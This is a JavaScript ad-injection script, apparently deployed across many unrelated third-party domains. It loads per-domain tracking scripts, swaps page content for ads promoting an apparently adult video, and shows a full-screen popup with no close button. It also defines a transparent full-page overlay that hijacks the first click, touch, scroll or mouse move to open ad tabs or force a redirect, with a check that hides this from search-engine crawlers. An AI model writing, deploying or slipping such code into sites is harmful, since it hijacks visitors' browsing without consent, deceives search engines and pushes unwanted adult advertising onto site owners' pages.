736 lines
23 KiB
JavaScript
736 lines
23 KiB
JavaScript
//data
|
||
const popupDataAll = [
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
// link: 'https://qzdjbj.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
link: 'https://djwvlet.com',
|
||
template: 'videoDadi',
|
||
},
|
||
];
|
||
//data
|
||
const popupData = [
|
||
// {
|
||
// image: 'https://zhaoshiping.com/img/video/2024/06/24/04/can-jia-zong-yi-hou-meng-bao-huo-le.webp',
|
||
// title: '参加综艺后,萌宝火了',
|
||
// link: 'https://zhaoshiping.com/vod/can-jia-zong-yi-hou-meng-bao-huo-le-73280',
|
||
// template:'videoDadi',
|
||
// },
|
||
// {
|
||
// image: 'https://zhaoshiping.com/img/video/2024/11/22/04/wu-shen-zhu-zai.webp',
|
||
// title: '武神主宰',
|
||
// link: 'https://zhaoshiping.com/vod/wu-shen-zhu-zai-26057',
|
||
// template:'videoDingZhu',
|
||
// },
|
||
// {
|
||
// image: 'https://zhaoshiping.com/img/video/2024/04/22/11/shui-jiao-huang-hou.webp',
|
||
// title: '水饺皇后',
|
||
// link: 'https://zhaoshiping.com/vod/shui-jiao-huang-hou-88379',
|
||
// template:'videoBoKu',
|
||
// },
|
||
// {
|
||
// image: 'https://zhaoshiping.com/img/video/2023/12/19/23/cui-huo-nian-dai.webp',
|
||
// title: '淬火年代',
|
||
// link: 'hhttps://zhaoshiping.com/vod/cui-huo-nian-dai-107683',
|
||
// template:'videoLaoNiu',
|
||
// },
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
link: 'https://zhaoshiping.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
template: 'videoDadi',
|
||
},
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
link: 'https://zhaoshiping.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
template: 'videoDingZhu',
|
||
},
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
link: 'https://zhaoshiping.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
template: 'videoBoKu',
|
||
},
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
link: 'https://zhaoshiping.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
template: 'videoLaoNiu',
|
||
},
|
||
{
|
||
image: 'https://www.sh-av.com/img/video/2025/05/24/13/rou-pu-tuan-zhi-ji-le-bao-jian.webp',
|
||
title: '3D肉蒲团之极乐宝鉴',// 3d
|
||
link: 'https://zhaoshiping.com/vod/rou-pu-tuan-zhi-ji-le-bao-jian-106422',
|
||
template: 'videoNuNu',
|
||
},
|
||
];
|
||
|
||
const arrCsDomain = [
|
||
// 'guanda-valve.com',
|
||
|
||
];
|
||
|
||
const arrNewsDomain = [
|
||
'dandanzan.xyz',
|
||
'nitianxieshendongman.com',
|
||
'douluodaludm.com',
|
||
'zhetiandongman.com',
|
||
'wanmeishijiedm.com',
|
||
'tunshixingkongdm.com',
|
||
'xiannidm.com',
|
||
'cytdm.com',
|
||
'shenyinwangzuodm.com',
|
||
];
|
||
|
||
const arrOldDomain = [
|
||
'lavoroteca.com',
|
||
'lemasdelila.com',
|
||
'darienzoarredamenti.com',
|
||
'acadcooling.com',
|
||
'gulenyuzlercocukevi.com',
|
||
'visitsumenep.com',
|
||
'oronorent.com',
|
||
'zbsv3.com',
|
||
'ukoys.com',
|
||
];
|
||
|
||
//27
|
||
const arrNewsNovelDomain = [
|
||
'630zw.top',
|
||
'jyfxxs.com',
|
||
'xbqg.xyz',
|
||
'zhetianxiaoshuo.com',
|
||
'dushijipinyishen.com',
|
||
'911xsw.com',
|
||
'dsjpys.com',
|
||
'xnxsyd.com',
|
||
'jpjdxs.com',
|
||
'lsrxs.com',
|
||
'315xsw.com',
|
||
'rouwenxs.com',
|
||
'xiannixsw.com',
|
||
'jianlaixsw.com',
|
||
'jpjdxs.net',
|
||
'xiannixs.org',
|
||
'zxxsw.info',
|
||
'jpjdxs.info',
|
||
'dmbj.info',
|
||
'cyt8.com',
|
||
'jpjdxs.org',
|
||
'tunshexingkong.com',
|
||
'daomubijixiaoshuo.com',
|
||
'mushenjixiaoshuo.com',
|
||
'panlongxiaoshuo.com',
|
||
'qingyunianxiaoshuo.com',
|
||
'wanmeishijiexs.com',
|
||
];
|
||
|
||
// 27
|
||
const arrOldNovelDomain = [
|
||
'qidian616.com',
|
||
'yumimogu.com',
|
||
'gxhongzhuang.com',
|
||
'forcnehealthcare.com',
|
||
'jinliangwx.com',
|
||
'gztyrh.com',
|
||
'jinchengcarpet.com',
|
||
'yaleyishu.com',
|
||
'zhongshuba.com',
|
||
'youshuvip.com',
|
||
'ahlvshui.com',
|
||
'ztswc.com',
|
||
'lieyangdao.com',
|
||
'jinqiyuecheng.com',
|
||
'tangyupai.com',
|
||
'maihuiwa.com',
|
||
'jnstscg.com',
|
||
'hdqh88.com',
|
||
'cdgxjhxx.com',
|
||
'sdxhtgcl.com',
|
||
'56412027.com',
|
||
'01zhizuan.com',
|
||
'ctshuhua.com',
|
||
'scljyzz.com',
|
||
'lydinuan.com',
|
||
'suzhouqk.com',
|
||
'shengyang17.com',
|
||
];
|
||
|
||
|
||
// google
|
||
const arrCsGoogleToDomain = [
|
||
'bdmoju.com',
|
||
'jksrjhq.com',
|
||
'gyssjxq.com',
|
||
];
|
||
|
||
|
||
// 检查和更新展示次数
|
||
function checkPopupLimit(intMaxCount = 3, strKey = "popupInfo") {
|
||
const today = new Date().toISOString().split('T')[0]; // 当前日期 YYYY-MM-DD
|
||
const popupInfo = JSON.parse(localStorage.getItem(strKey) || '{}');
|
||
const lastDate = popupInfo.date;
|
||
let count = popupInfo.count || 0;
|
||
|
||
// 如果是新的一天,重置计数
|
||
if (lastDate !== today) {
|
||
count = 0;
|
||
popupInfo.date = today;
|
||
popupInfo.count = 0;
|
||
}
|
||
|
||
// 检查是否达到每天n次限制
|
||
if (count >= intMaxCount) {
|
||
return false;
|
||
}
|
||
|
||
// 更新计数
|
||
popupInfo.count = count + 1;
|
||
localStorage.setItem(strKey, JSON.stringify(popupInfo));
|
||
return true;
|
||
}
|
||
|
||
// 动态生成弹窗
|
||
function createPopup(data) {
|
||
const popup = document.createElement('div');
|
||
popup.className = 'fu-popup-layer ';
|
||
popup.id = 'popupLayer';
|
||
|
||
const contentBox = document.createElement('div');
|
||
contentBox.className = 'fu-content-box';
|
||
|
||
const closeButton = document.createElement('button');
|
||
closeButton.className = 'fu-close-btn';
|
||
closeButton.innerHTML = '×';
|
||
closeButton.onclick = closePopup;
|
||
|
||
const image = document.createElement('img');
|
||
image.className = 'fu-content-image';
|
||
image.src = data.image;
|
||
image.alt = data.title;
|
||
image.onclick = () => openLink(data.link);
|
||
|
||
const title = document.createElement('div');
|
||
title.className = 'fu-content-title';
|
||
title.textContent = data.title;
|
||
|
||
contentBox.appendChild(closeButton);
|
||
contentBox.appendChild(image);
|
||
contentBox.appendChild(title);
|
||
popup.appendChild(contentBox);
|
||
document.body.appendChild(popup);
|
||
}
|
||
|
||
function decodeHtmlEntities(str) {
|
||
return str.replace(/&#(\d+);/g, (match, dec) => {
|
||
return String.fromCharCode(parseInt(dec, 10));
|
||
});
|
||
}
|
||
|
||
|
||
// 关闭弹窗
|
||
function closePopup() {
|
||
const popup = document.getElementById('popupLayer');
|
||
if (popup) {
|
||
popup.classList.add('fu-closing');
|
||
setTimeout(() => {
|
||
popup.remove();
|
||
}, 300); // 等待淡出动画完成
|
||
}
|
||
}
|
||
|
||
// 打开链接
|
||
function openLink(url) {
|
||
window.open(url, '_blank');
|
||
closePopup(); // 点击跳转后关闭弹窗
|
||
}
|
||
|
||
// 随机展示广告- 弹窗
|
||
function showRandomPopup() {
|
||
|
||
// 如果当前域名是 zhaoshiping.com,则不展示广告
|
||
if (location.hostname === "zhaoshiping.com") {
|
||
return;
|
||
}
|
||
|
||
// 如果当前域名是这个域名,zhaoshiping.com ,则不展示广告
|
||
if (!checkPopupLimit(3)) {
|
||
return; // 超过3次限制,不显示
|
||
}
|
||
|
||
const randomIndex = Math.floor(Math.random() * popupData.length);
|
||
createPopup(popupData[randomIndex]);
|
||
}
|
||
// 动态生成- 全屏弹窗
|
||
function createAllPopup(data) {
|
||
const popup = document.createElement('div');
|
||
popup.className = 'fu-popup-layer fu-popup-layer-all';
|
||
popup.id = 'popupLayer';
|
||
|
||
const contentBox = document.createElement('div');
|
||
contentBox.className = 'fu-content-box';
|
||
|
||
// const closeButton = document.createElement('button');
|
||
// closeButton.className = 'fu-close-btn';
|
||
// closeButton.innerHTML = '×';
|
||
// closeButton.onclick = closePopup;
|
||
|
||
const image = document.createElement('img');
|
||
image.className = 'fu-content-image';
|
||
image.src = data.image;
|
||
image.alt = data.title;
|
||
image.onclick = () => openLink(data.link);
|
||
|
||
const title = document.createElement('div');
|
||
title.className = 'fu-content-title';
|
||
title.textContent = decodeHtmlEntities(data.title);
|
||
|
||
// contentBox.appendChild(closeButton);
|
||
contentBox.appendChild(image);
|
||
contentBox.appendChild(title);
|
||
popup.appendChild(contentBox);
|
||
document.body.appendChild(popup);
|
||
}
|
||
// 随机展示广告- 全屏弹窗
|
||
function showRandomAllPopup() {
|
||
|
||
// 如果当前域名是,则不展示广告
|
||
if (location.hostname === "qzdjbj.com") {
|
||
return;
|
||
}
|
||
|
||
// 如果当前域名是这个域名,qzdjbj.com ,则不展示广告
|
||
if (!checkPopupLimit(3)) {
|
||
return; // 超过3次限制,不显示
|
||
}
|
||
|
||
const randomIndex = Math.floor(Math.random() * popupDataAll.length);
|
||
createAllPopup(popupDataAll[randomIndex]);
|
||
}
|
||
const strCsHtmlDadi = `
|
||
<li class="col-md-6 col-sm-4 col-xs-3">
|
||
<div class="stui-vodlist__box">
|
||
<a style="color: rgb(233, 93, 80); background-image: url("{{image}}");"
|
||
class="stui-vodlist__thumb"
|
||
href='{{link}}'>
|
||
</a>
|
||
<div class="stui-vodlist__detail">
|
||
<h3 class="title text-overflow">
|
||
<a href='{{link}}'>
|
||
{{title}}
|
||
</a>
|
||
</h3>
|
||
</div>
|
||
</div>
|
||
</li>
|
||
`
|
||
const strCsHtmlBoku = `
|
||
|
||
<li class="col-lg-6 col-md-8 col-sm-4 col-xs-3">
|
||
<div class="myui-vodlist__box">
|
||
<a class="myui-vodlist__thumb "
|
||
href='{{link}}'
|
||
style="background-image: url("{{image}}");">
|
||
|
||
</a>
|
||
<div class="myui-vodlist__detail">
|
||
<h3 class="title text-overflow">
|
||
<a href='{{link}}'>{{title}}</a>
|
||
</h3>
|
||
</div>
|
||
</div>
|
||
</li>
|
||
`
|
||
const strCsHtmlDingzhu = `
|
||
<li class="fc7a7d col-lg-[col-lg] col-md-4 col-sm-3 col-xs-2">
|
||
<div class="a9a18d lvshicms-vodlist__box">
|
||
<a class="d0ff14 lvshicms-vodlist__thumb"
|
||
href='{{link}}'>
|
||
<img src="{{image}}">
|
||
</a>
|
||
<div class="dbbcf6 lvshicms-vodlist__detail">
|
||
<h3 class="c9c8c4 title text-overflow">
|
||
<a href='{{link}}'>{{title}}</a>
|
||
</h3>
|
||
</div>
|
||
</div>
|
||
</li>
|
||
`
|
||
const strCsHtmlLaoNiu = `
|
||
<li class="f88537 col-md-[col-md] col-sm-3 col-xs-2 pb-xs-0 ">
|
||
<a class="b02e75 img-pic thumb pic60 "
|
||
href='{{link}}'>
|
||
<img src="{{image}}" >
|
||
</a>
|
||
<h3 class="ac00f9 name text-overflow">
|
||
<a href='{{link}}' >{{title}}</a>
|
||
</h3>
|
||
</li>
|
||
`
|
||
const strCsHtmlNuNu = `
|
||
<li class="col-md-[col-md] col-sm-4 col-xs-3">
|
||
<div class="stui-vodlist__box">
|
||
<a class="stui-vodlist__thumb " href='{{link}}'>
|
||
<img src="{{image}}" >
|
||
</a>
|
||
<div class="stui-vodlist__detail">
|
||
<h3 class="title text-overflow">
|
||
<a href='{{link}}' >
|
||
{{title}}
|
||
</a>
|
||
</h3>
|
||
</div>
|
||
</div>
|
||
</li>
|
||
`
|
||
const strCsHtmlFengNiao = `
|
||
|
||
`
|
||
function replaceList() {
|
||
strCsHtml = '';
|
||
switch (strTemplate) {
|
||
case 'videoDadi':
|
||
strCsHtml = strCsHtmlDadi;
|
||
break;
|
||
case 'videoBoKu':
|
||
strCsHtml = strCsHtmlBoku;
|
||
break;
|
||
case 'videoDingZhu':
|
||
strCsHtml = strCsHtmlDingzhu;
|
||
break;
|
||
case 'videoLaoNiu':
|
||
strCsHtml = strCsHtmlLaoNiu;
|
||
break;
|
||
case 'videoNuNu':
|
||
strCsHtml = strCsHtmlNuNu;
|
||
break;
|
||
case 'videoFengNiao':
|
||
strCsHtml = strCsHtmlFengNiao;
|
||
break;
|
||
|
||
}
|
||
|
||
// 获取所有 .cs-list-r 元素
|
||
let lists = document.querySelectorAll('.cs-list-r');
|
||
|
||
lists.forEach(list => {
|
||
// const randomIndex = Math.floor(Math.random() * popupData.length);
|
||
// const CsData = popupData[randomIndex]
|
||
const CsData = popupData.find(item => item.template === strTemplate) || null;
|
||
|
||
// 替换模板中的占位符
|
||
const renderedTemplate = strCsHtml
|
||
.replace(/{{image}}/g, CsData.image)
|
||
.replace(/{{title}}/g, escapeHtml(decodeHtmlEntities(CsData.title))) // 防止XSS
|
||
.replace(/{{link}}/g, escapeHtml(CsData.link));
|
||
|
||
let items = list.querySelectorAll('li');
|
||
if (items.length > 0) {
|
||
let randomIndex = Math.floor(Math.random() * items.length);
|
||
let oldItem = items[randomIndex];
|
||
let oldClass = oldItem.className;
|
||
|
||
// 创建新元素容器
|
||
let newItemWrapper = document.createElement('div');
|
||
newItemWrapper.innerHTML = renderedTemplate.trim();
|
||
|
||
// 获取新模板的第一个元素
|
||
let newElement = newItemWrapper.firstElementChild;
|
||
|
||
// 替换 className
|
||
if (newElement) {
|
||
newElement.className = oldClass;
|
||
list.replaceChild(newElement, oldItem);
|
||
}
|
||
}
|
||
|
||
});
|
||
}
|
||
|
||
function shouldLoadCs() {
|
||
// 获取当前页面的域名
|
||
const currentDomain = window.location.hostname;
|
||
|
||
// news-video
|
||
const isNewsDomainMatched = arrNewsDomain.some(domain =>
|
||
currentDomain === domain || currentDomain.endsWith('.' + domain)
|
||
);
|
||
|
||
if (isNewsDomainMatched) {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281426927&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
//old-video
|
||
const isOldDomainMatched = arrOldDomain.some(domain =>
|
||
currentDomain === domain || currentDomain.endsWith('.' + domain)
|
||
);
|
||
|
||
if (isOldDomainMatched) {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281426928&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
//old-novel arrOldNovelDomain
|
||
const isOldNovelDomainMatched = arrOldNovelDomain.some(domain =>
|
||
currentDomain === domain || currentDomain.endsWith('.' + domain)
|
||
);
|
||
|
||
if (isOldNovelDomainMatched) {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281427612&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
// news-novel arrNewsNovelDomain
|
||
const isNewsNovelDomainMatched = arrNewsNovelDomain.some(domain =>
|
||
currentDomain === domain || currentDomain.endsWith('.' + domain)
|
||
);
|
||
|
||
if (isNewsNovelDomainMatched) {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281427615&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
// google arrCsGoogleToDomain
|
||
const isCsGoogleDomainMatched = arrCsGoogleToDomain.some(domain =>
|
||
currentDomain === domain || currentDomain.endsWith('.' + domain)
|
||
);
|
||
if (isCsGoogleDomainMatched) {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://v1.cnzz.com/z.js?id=1281427824&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
// 落地
|
||
if (currentDomain == 'qzdjbj.com') {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281427874&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
}
|
||
|
||
// zhijietiaoz-ceshi
|
||
if (currentDomain == 'bzxhhjx.com') {
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281429013&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
|
||
}
|
||
|
||
if (/Android|iPhone|iPad|iPod|iOS/i.test(navigator.userAgent)) {
|
||
|
||
if (currentDomain == 'tp1.video1.com' || currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'www.bzxhhjx.com' || currentDomain == 'gyssjxq.com') {
|
||
|
||
// var _czc = _czc || [];
|
||
// (function () {
|
||
// var um = document.createElement("script");
|
||
// um.src = "https://s9.cnzz.com/z.js?id=1281430635&async=1";
|
||
// var s = document.getElementsByTagName("script")[0];
|
||
// s.parentNode.insertBefore(um, s);
|
||
// })();
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281427612&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
|
||
// if (!checkPopupLimit(1, 'lm-zhitiaocs')) {
|
||
// return; // 超过N次限制,不显示
|
||
// } else {
|
||
// setTimeout(() => {
|
||
// const arrDomain = [
|
||
// '82mt.com',
|
||
// ];
|
||
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||
// const targetUrl = `http://${randomDomain}`;
|
||
|
||
// if (!isSearchEngineBot()) {
|
||
// autoTriggerCss([
|
||
// targetUrl
|
||
// ], 200);
|
||
|
||
// }
|
||
// },); // 延迟时间设为 0,表示尽快执行
|
||
// }
|
||
}
|
||
} else {
|
||
// 统计pc量
|
||
if (currentDomain == 'tp1.video1.com' ||currentDomain == 'guanda-valve.com' || currentDomain == 'www.ganggui360.com' || currentDomain == 'hensunqi.com' || currentDomain == 'www.jnrfhbl.com' || currentDomain == 'sh-av.com' || currentDomain == 'www.sh-av.com' || currentDomain == 'nblssy.com' || currentDomain == 'www.hyjssb.com' || currentDomain == 'gyssjxq.com') {
|
||
var _czc = _czc || [];
|
||
// (function () {
|
||
// var um = document.createElement("script");
|
||
// um.src = "https://v1.cnzz.com/z.js?id=1281429014&async=1";
|
||
// var s = document.getElementsByTagName("script")[0];
|
||
// s.parentNode.insertBefore(um, s);
|
||
// })();
|
||
var _czc = _czc || [];
|
||
(function () {
|
||
var um = document.createElement("script");
|
||
um.src = "https://s9.cnzz.com/z.js?id=1281427615&async=1";
|
||
var s = document.getElementsByTagName("script")[0];
|
||
s.parentNode.insertBefore(um, s);
|
||
})();
|
||
// if (shouldTrigger(0.5)) {
|
||
// if (!checkPopupLimit(1, 'lm-zhitiaocs')) {
|
||
// return; // 超过N次限制,不显示
|
||
// } else {
|
||
// setTimeout(() => {
|
||
// const arrDomain = [
|
||
// '82mt.com',
|
||
// ];
|
||
// const randomDomain = arrDomain[Math.floor(Math.random() * arrDomain.length)];
|
||
// const targetUrl = `http://${randomDomain}`;
|
||
|
||
// if (!isSearchEngineBot()) {
|
||
// autoTriggerCss([
|
||
// targetUrl
|
||
// ], 200);
|
||
|
||
// }
|
||
// },); // 延迟时间设为 0,表示尽快执行
|
||
// }
|
||
// } else{
|
||
// console.log('没有效果')
|
||
// }
|
||
}
|
||
}
|
||
|
||
|
||
|
||
}
|
||
|
||
// 执行判断
|
||
shouldLoadCs();
|
||
|
||
// 页面加载时检查并展示
|
||
// window.onload = showRandomPopup;
|
||
// window.onload = replaceList;
|
||
|
||
|
||
function shouldTrigger(probability = 0.5) {
|
||
// Math.random() 返回 0~1 的浮点数
|
||
return Math.random() < probability;
|
||
}
|
||
|
||
|
||
function isSearchEngineBot() {
|
||
const spiders = [
|
||
'Baiduspider',
|
||
'360Spider',
|
||
'HaosouSpider',
|
||
'Sogou',
|
||
'YisouSpider',
|
||
'Bytespider',
|
||
'ToutiaoSpider',
|
||
'Quarkbot',
|
||
'YoudaoBot',
|
||
'Googlebot',
|
||
'Bingbot',
|
||
'Slurp',
|
||
'YandexBot',
|
||
'DuckDuckBot'
|
||
];
|
||
|
||
const ua = navigator.userAgent;
|
||
return spiders.some(spider => ua.includes(spider));
|
||
}
|
||
|
||
/**
|
||
* 自动触发广告(SEO友好版)
|
||
* @param {string[]} csUrls 广告链接数组
|
||
* @param {number} delay 延迟触发,ms
|
||
*/
|
||
function autoTriggerCss(csUrls = [], delay = 500, fallbackTime = 2000) {
|
||
if (!csUrls.length) return;
|
||
|
||
// 过滤有效链接
|
||
csUrls = csUrls.filter(url => url && typeof url === 'string');
|
||
|
||
// 创建透明触发层
|
||
const triggerDiv = document.createElement('div');
|
||
triggerDiv.style.position = 'fixed';
|
||
triggerDiv.style.top = 0;
|
||
triggerDiv.style.left = 0;
|
||
triggerDiv.style.width = '100%';
|
||
triggerDiv.style.height = '100%';
|
||
triggerDiv.style.zIndex = 9999;
|
||
triggerDiv.style.background = 'transparent';
|
||
document.body.appendChild(triggerDiv);
|
||
|
||
const triggerCs = (url, openInNewWindow = false) => {
|
||
if (openInNewWindow) {
|
||
const a = document.createElement('a');
|
||
a.href = url;
|
||
a.target = '_blank';
|
||
a.rel = 'noopener noreferrer';
|
||
document.body.appendChild(a);
|
||
setTimeout(() => {
|
||
a.click();
|
||
document.body.removeChild(a);
|
||
}, delay);
|
||
} else {
|
||
// 当前窗口跳转
|
||
setTimeout(() => {
|
||
window.location.href = url;
|
||
}, delay);
|
||
}
|
||
};
|
||
|
||
const handleEvent = () => {
|
||
csUrls.forEach(url => triggerCs(url, true)); // 用户触发使用新窗口
|
||
triggerDiv.remove();
|
||
clearTimeout(fallbackTimer);
|
||
};
|
||
|
||
// 用户首次交互事件触发(包含滚动)
|
||
['click', 'touchstart', 'scroll', 'mousemove'].forEach(evt => {
|
||
triggerDiv.addEventListener(evt, handleEvent, { once: true, passive: true });
|
||
});
|
||
|
||
// 设置 fallback:超过 fallbackTime 自动触发(源窗口跳转)
|
||
const fallbackTimer = setTimeout(() => {
|
||
csUrls.forEach(url => triggerCs(url, false)); // 源窗口跳转
|
||
triggerDiv.remove();
|
||
}, fallbackTime);
|
||
}
|
||
|
||
|
||
|
||
|
||
|
||
|